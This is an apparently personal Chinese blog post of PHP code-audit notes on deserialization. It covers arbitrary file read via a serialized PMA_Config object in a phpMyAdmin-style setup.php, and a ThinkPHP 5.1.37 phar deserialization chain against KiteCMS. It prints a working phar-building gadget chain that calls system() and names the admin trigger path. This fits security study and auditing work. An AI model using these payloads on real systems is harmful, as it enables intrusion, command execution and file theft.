Skip to main content

MVC-PHP代码审计3-反序列化-原生-框架-phar

·452 words·3 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

MVC-PHP代码审计3-反序列化-原生-框架
#

原生序列化魔术方法
	__wakeup() //使用unserialize时触发
    __sleep() //使用serialize时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __toString() //把类当作字符串使用时触发
    __invoke() //当脚本尝试将对象调用为函数时触发
 1:搜索序列化函数
 

案例一admin2-任意读取文件
#

搜索反序列化unserialize关键字搜索到

setup.php


if (isset($_POST['configuration']) && $action != 'clear' ) {
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    // Start with empty configuration
    $configuration = array();
}
然后我们查看wakeup魔术方法

在config.class.php中发现一个wakeup方法

 function __wakeup()
    {
        if ( $this->source_mtime !== filemtime($this->getSource())
          || $this->error_config_file || $this->error_config_default_file ) {
            $this->settings = array();
            $this->load($this->getSource());
            $this->checkSystem();
        }

        // check for https needs to be done everytime,
        // as https and http uses same session so this info can not be stored
        // in session
        $this->checkIsHttps();

        $this->checkCollationConnection();
    }
    
        function getSource()
    {
        return $this->source;
    }
    --------------------load函数调用了eval-------------------------------
      function load($source = null)
    {
        $this->loadDefaults();

        if ( null !== $source ) {
            $this->setSource($source);
        }

        if ( ! $this->checkConfigSource() ) {
            return false;
        }

        $cfg = array();

        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
            $eval_result =
                eval( '?>' . file_get_contents($this->getSource()) ); 
        } else {
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );
        }

分析:

action不为clear & configuration 反序列化必须有值

getsource是eval控制的值 我们就把他修改为文件名 因为前面有filegetcontent

我们就先生成反序列化链

<?php

class PMA_Config{
var $source = 'd://1.txt';
}
$un=new PMA_Config;

echo serialize($un);
?>
结果是O:10:"PMA_Config":1:{s:6:"source";s:9:"d://1.txt";}
然后post发包

成功读取文件内容

1

案例二-KITECMS-TP框架-后台-PHAR
#

判断是不是用了框架
	目录文件名字
	文件代码有TP的引用
	代码有TP的逻辑
	readme里面说了
	搜索版本 const VERSION = '5.1.37 LTS';
框架就是实现了模型你直接用就行,但是框架有漏洞你用你的代码就会有漏洞

参考:https://www.anquanke.com/post/id/187819
Phar利用条件:如file_exists(),fopen(),file_get_contents(),file(),is_dir等文件操作的函数,要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

安装后输入/install 安装可能需要配置伪静态代码

打开源码就弹出了readme文件里面说明了是使用了tp框架

生成phar文件然后上传上去

要关闭php版本中的readonly

;phar.readonly = On 这是默认开启的要关闭 把前面分号删除后重启生效 产生文件后可以打开主要是产生文件

访问后生成phar文件

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "notepad");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    $phar = new Phar('xiaodi.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

http://localhost:908/admin/passport/login.html 登录界面后台

application/admin/controller/Admin.php文件 找到的控制点

我们就按照上面那个访问 /admin/admin/scanFiles 来触发试试

 function scanFiles($dir) {
        if (!is_dir($dir)) {
            return [];
        }
        // 兼容各操作系统
        $dir = rtrim(str_replace('\\', '/', $dir), '/').'/';
        // 栈,默认值为传入的目录
        $dirs = array($dir);
        // 放置所有文件的容器
        $rt = [];
        do {
            // 弹栈
            $dir = array_pop($dirs);
            // 扫描该目录
            $tmp = scandir($dir);
            foreach($tmp as $f) {
                if ($f == '.' || $f == '..') continue;
                // 组合当前绝对路径
                $path = $dir.$f;
                // 如果是目录,压栈。
                if (is_dir($path)) {
                    array_push($dirs, $path.'/');
                } else if (is_file($path)) { // 如果是文件,放入容器中
                    $rt[] = $path;
                }
            }
        } while ( $dirs ); // 直到栈中没有目录
        return $rt;
    }

1

输入位置传入参数直接弹出文本

只要是文件函数 且文件可控制 版本符合poc 就可以触发phar协议反序列化,如发送数据包里面有可控的也可以如POST

1

Related

MVC-PHP代码审计2
·204 words·1 min
MVC-PHP代码审计
·336 words·2 mins
Dockerfile-使用-docker语法
·434 words·3 mins
Apache-nginx安装-配置文件修改+linux,windows常用命令
·253 words·2 mins
Weblogic-拿到密钥解密
·45 words·1 min